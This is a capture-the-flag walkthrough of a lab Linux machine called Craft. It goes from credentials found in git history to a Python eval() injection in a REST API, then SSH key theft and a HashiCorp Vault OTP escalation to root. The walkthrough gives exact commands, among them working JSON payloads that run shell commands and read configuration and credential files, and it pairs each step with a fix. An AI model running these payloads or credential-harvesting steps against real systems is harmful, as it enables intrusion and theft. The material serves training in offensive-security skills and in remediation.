← all walkthroughs

Craft

Linux· Medium
owned
2026-07-08
time to own
19m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The Conquest Craft server ($TARGET) was fully compromised to root through a four-link credential and code-execution chain. A developer committed plaintext application credentials into a public Git repository and later deleted the file, but Git retained them in history.

Those credentials authenticated against a REST API whose brew-creation endpoint passed user-supplied input directly to Python eval(), granting arbitrary code execution inside the application container. I used that execution to read application configuration files and recover a second developer's password, then logged into that developer's private Git repository to steal an SSH private key whose passphrase was the same reused password — immediately cracked.

The key provided an interactive shell on the host as user gilfoyle. From that shell, a HashiCorp Vault SSH one-time-password backend — configured without access controls — issued a root-level login credential on demand, completing escalation to full root.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationPassive virtual-host enumeration via HTML inspection (T1592)
Discovered open ports and mapped all virtual hosts served by the target
A service scan against $TARGET found SSH on port 22, nginx 1.15.8 over HTTPS on port 443, and a Golang SSH service on port 6022 that turned out to be a dead end. Parsing the homepage HTML for .htb hostnames revealed three virtual hosts behind the same IP: gogs.craft.htb (a Gogs git server), api.craft.htb (the Craft REST API), and vault.craft.htb (HashiCorp Vault), each serving a distinct application.
Homepage HTML contained href references to gogs.craft.htb and api.craft.htb; vault.craft.htb was referenced in repository configuration files discovered later.
Exact commands 3
Full port scan with service version detection.
nmap -Pn -sV --min-rate 5000 -p- $TARGET
Extract all .htb virtual-host references from the homepage HTML.
curl -sk https://$TARGET/ | grep -Eio '[a-z0-9.-]+\.htb' | sort -u
Register all discovered vhosts for local DNS resolution.
echo "$TARGET craft.htb api.craft.htb gogs.craft.htb vault.craft.htb" | sudo tee -a /etc/hosts
2Credential ExposureSensitive credentials in version-control history (CWE-312 / T1552.001)
Recovered hardcoded API credentials from the public repository's deleted commit history
The Gogs instance hosted a publicly cloneable repository, Craft/craft-api, with no authentication required. While the current HEAD contained no sensitive data, a historical commit labelled 'add db connection test script' introduced a helper file containing the plaintext credentials dinesh:[REDACTED: recovered credential]. A later commit deleted the file, but git permanently preserves deleted content in history. These credentials were valid against the live API login endpoint and returned a JWT bearer token.
Git log --all exposed the 'add db connection test script' commit; git show of that hash displayed plaintext credentials; curl to /api/auth/login with dinesh:[REDACTED: recovered credential] returned a valid JWT.
Exact commands 4
Clone the public repository without any authentication.
git clone https://gogs.craft.htb/Craft/craft-api.git && cd craft-api
List the complete commit history across all branches, including commits that deleted files.
git log --oneline --all
Inspect the credential-containing commit; look for hardcoded username and password strings.
git show $(git log --all --oneline | grep -i 'test' | awk '{print $1}' | head -1)
Verify the recovered credentials return a valid JWT token from the live API.
curl -ksS -u 'dinesh:[REDACTED: recovered credential]' https://api.craft.htb/api/auth/login
FixPurge credentials from version-control history and enforce pre-commit secret scanningCritical
WeaknessA developer committed a database test script containing plaintext credentials (dinesh:[REDACTED: recovered credential]) into a public Git repository, then deleted the file in a follow-up commit. Git permanently preserves the content of deleted files in history, so any user who could clone the repository could recover the credentials with two standard git commands.
FixImmediately rotate every credential that appeared in any repository commit, including deleted ones. Use 'git filter-repo' or BFG Repo-Cleaner to surgically rewrite history and remove the sensitive commit, then force-push the rewritten tree. Install a pre-commit hook (git-secrets, truffleHog, or GitHub Advanced Security secret scanning) that rejects pushes matching credential patterns. All application secrets must be stored in a dedicated secrets manager (e.g., HashiCorp Vault, AWS Secrets Manager) and injected at runtime through environment variables — never embedded in source code.
3ExploitationServer-side code injection via Python eval() — CWE-95 / T1059.006
Executed arbitrary Python commands through the API's eval() injection vulnerability
Reading brew.py from the cloned source revealed that the brew-creation endpoint validated the abv field by calling Python's built-in eval() on the raw user input, then rejecting non-decimal results. My own expression could embed any Python code as a side effect. Because all outbound TCP connections from the container were blocked, output was exfiltrated in-band: each payload called create_brew() with the command result stored hex-encoded in the new brew's 'name' field, while the outer expression resolved to 0.05 to satisfy the ABV less-than-1.0 validator. Code execution was confirmed by reading the container hostname (5a3d243127f5) and working directory (/opt/app) from the returned brew objects.
Exact commands 3
Obtain a JWT bearer token using the recovered credentials.
TOKEN=$(curl -ksS -u 'dinesh:[REDACTED: recovered credential]' https://api.craft.htb/api/auth/login | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')
Inject the eval payload; the id command output is stored hex-encoded in a newly created brew row. Note the returned 'id' field.
curl -ksS -X POST https://api.craft.htb/api/brew/ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"abv":"[create_brew({\"name\":(__import__(\"os\").popen(\"id\").read()).encode(\"hex\"),\"brewer\":\"x\",\"style\":\"x\",\"abv\":\"0.05\"}),0.05][1]","name":"x","brewer":"x","style":"x"}'
Retrieve the brew row and hex-decode the name field to read command output. Replace <returned_id> with the id from the POST response.
curl -ksS https://api.craft.htb/api/brew/<returned_id> | python3 -c "import sys,json,codecs; d=json.load(sys.stdin); print(codecs.decode(d['name'],'hex_codec').decode())"
FixReplace eval() with a safe numeric parser to eliminate server-side code injectionCritical
WeaknessThe brew-creation API endpoint passed the caller-supplied 'abv' field directly to Python's built-in eval() to determine whether it was a valid decimal number. Any authenticated caller could embed arbitrary Python expressions — including os.popen() calls — that executed inside the application process with the application's full privileges.
FixReplace the eval() call with a safe numeric conversion such as float(abv) inside a try/except ValueError block. Never pass untrusted user input to eval(), exec(), compile(), or any other dynamic code execution function. Apply defense in depth by running the application container as a non-root user, enabling network egress filtering at the container level, and enforcing input length and character-set limits at the API gateway before the value reaches application code.
4Credential HarvestingIn-band configuration file exfiltration via command injection (T1552.001)
Read application configuration files via code execution to recover additional plaintext credentials
Using the same eval()-injection capability, I directed os.popen() at /opt/app/craft_api/settings.py and other application files within the container. These files contained database connection strings and plaintext passwords for the additional developer accounts registered in the Gogs instance, including ebachman:[REDACTED: recovered credential] and gilfoyle:[REDACTED: recovered credential]. A publicly viewable Gogs issue filed by gilfoyle confirmed these were real internal users, not test artefacts.
RCE payload targeting /opt/app/craft_api/settings.py returned plaintext credentials for gilfoyle; Gogs authentication with those credentials succeeded immediately.
Exact commands 2
Exfiltrate settings.py in-band; increase the slice limit or paginate across multiple requests for larger files.
curl -ksS -X POST https://api.craft.htb/api/brew/ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"abv":"[create_brew({\"name\":(__import__(\"os\").popen(\"cat /opt/app/craft_api/settings.py\").read()[:2000]).encode(\"hex\"),\"brewer\":\"x\",\"style\":\"x\",\"abv\":\"0.05\"}),0.05][1]","name":"x","brewer":"x","style":"x"}'
Decode the response to read the settings file contents including plaintext database and user credentials.
curl -ksS https://api.craft.htb/api/brew/<returned_id> | python3 -c "import sys,json,codecs; d=json.load(sys.stdin); print(codecs.decode(d['name'],'hex_codec').decode())"
5Lateral MovementCredential reuse and SSH private key theft from version control (T1552.004 / T1552.001)
Accessed gilfoyle's private Gogs repository and exfiltrated an SSH private key
Authenticating to Gogs with gilfoyle's recovered password exposed a private repository, gilfoyle/craft-infra, containing infrastructure scripts and a .ssh/ directory holding an RSA private key. The repository also referenced vault.craft.htb in its Vault configuration scripts, confirming the third virtual host's purpose. The private key was passphrase-protected, but testing the same password gilfoyle used for Gogs — a direct case of password reuse — immediately unlocked it.
Git clone of gilfoyle/craft-infra succeeded with gilfoyle:[REDACTED: recovered credential]; .ssh/id_rsa was present in the cloned tree; ssh-keygen -y accepted [REDACTED: recovered credential] as the correct passphrase.
Exact commands 3
Clone the private repository using gilfoyle's recovered Gogs credentials.
git clone https://$USERNAME:$PASSWORD@gogs.craft.htb/gilfoyle/craft-infra.git
Confirm the SSH private key is committed inside the repository.
ls craft-infra/.ssh/
Verify the passphrase by printing the derived public key; succeeds immediately with the reused Gogs password.
ssh-keygen -y -P '[REDACTED: recovered credential]' -f craft-infra/.ssh/id_rsa
FixRemove SSH private keys and infrastructure secrets from all Git repositoriesHigh
WeaknessAn SSH private key was committed into the gilfoyle/craft-infra Git repository. Even though the repository was marked private, anyone who gained access through credential reuse could immediately download the key, bypassing all SSH authentication controls and giving direct host access.
FixRemove the key from the repository history using 'git filter-repo' and revoke the corresponding public key from all authorized_keys files. Rotate the key pair. Store all private keys in a secrets manager or a hardware security module rather than in source control. Add a pre-commit hook that rejects files matching PEM private-key headers ('-----BEGIN .* PRIVATE KEY-----'). Going forward, issue short-lived SSH certificates from a certificate authority (e.g., Vault SSH CA mode) instead of distributing long-lived static key files.
6FootholdSSH authentication with a stolen private key (T1021.004 / T1078)
Stripped the SSH key passphrase and logged into the host as gilfoyle, capturing user.txt
With the passphrase confirmed as gilfoyle's own Gogs password, I stripped it from the private key file to produce an unprotected copy and authenticated directly to the host SSH service on port 22. This established an interactive shell as uid=1001(gilfoyle) on the physical host — outside the application container — and allowed reading user.txt from gilfoyle's home directory.
Ssh-keygen -p -P '[REDACTED: recovered credential]' -N '' -f gilfoyle_nopass succeeded; ssh -i gilfoyle_nopass gilfoyle@$TARGET confirmed uid=1001(gilfoyle) and user.txt was captured.
Exact commands 3
Copy the key and enforce strict permissions required by the SSH client.
cp craft-infra/.ssh/id_rsa /tmp/gilfoyle_nopass && chmod 600 /tmp/gilfoyle_nopass
Remove the passphrase in-place, producing an unprotected key ready for direct use.
ssh-keygen -p -P '[REDACTED: recovered credential]' -N '' -f /tmp/gilfoyle_nopass
Authenticate to the host as gilfoyle and read the user flag. Flag value is <user.txt>.
ssh -i /tmp/gilfoyle_nopass -o StrictHostKeyChecking=no gilfoyle@$TARGET 'id; hostname; cat /home/gilfoyle/user.txt'
FixEnforce unique passphrases for SSH keys that are distinct from any account passwordHigh
WeaknessThe SSH private key's passphrase was identical to gilfoyle's Gogs account password. Once the Gogs password was recovered from the application configuration files via remote code execution, an unauthorised user could immediately decrypt the private key without any additional effort, making the passphrase protection worthless.
FixSet SSH key passphrases to randomly generated strings of at least 20 characters stored in a password manager, completely separate from any account password. Implement a password policy on Gogs and all internal services that prevents reuse of the same secret across different systems. Enforce this at the technical level where possible (e.g., have Vault issue short-lived SSH certificates rather than relying on static passphrase-protected keys, eliminating the passphrase problem entirely).
7Privilege EscalationVault SSH OTP backend accessible without least-privilege controls (T1078 / T1021.004)
Issued a Vault SSH one-time password for root and logged in as root, capturing root.txt
The craft-infra repository's configuration pointed to vault.craft.htb:8200. Querying Vault's SSH secrets engine path ssh/creds/root_otp from gilfoyle's session — with no additional authorization policy blocking it — returned a single-use SSH password for the root account on the target IP. Using that OTP as the SSH password completed privilege escalation to root in a single step, granting full control of the host and access to root.txt.
Vault write ssh/creds/root_otp ip=$TARGET returned key=[REDACTED: recovered credential]; subsequent SSH login as root with that OTP yielded uid=0(root) and root.txt was captured.
Exact commands 2
Request a one-time root SSH password from the Vault OTP backend; note the 'key' value in the output.
ssh -i /tmp/gilfoyle_nopass gilfoyle@$TARGET "VAULT_ADDR=https://vault.craft.htb:8200 vault write ssh/creds/root_otp ip=$TARGET"
Authenticate as root using the Vault-issued OTP. Replace [REDACTED: recovered credential] with the key returned above. Flag value is <root.txt>.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no root@$TARGET 'id; cat /root/root.txt'
FixRestrict the Vault SSH OTP role to authorized administrators and enable audit loggingCritical
WeaknessThe Vault SSH secrets engine was configured with an OTP role that issued root-level one-time passwords to any caller who could reach the Vault API, including the unprivileged gilfoyle account. There was no Vault access-control policy limiting which tokens could request root credentials.
FixCreate a restrictive Vault ACL policy that allows write access to ssh/creds/root_otp only for a named administrative group or service account, and explicitly deny it for all regular user tokens. Apply the policy to gilfoyle's token. Consider disabling the root_otp role entirely if interactive root SSH access is not required, and manage root-level tasks through audited sudo rules instead. Enable Vault audit logging so every credential request is recorded for review. If SSH certificates are needed, prefer the CA mode with short TTLs and principal-scoped certificates over static OTPs.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
443/tcp
6022/tcp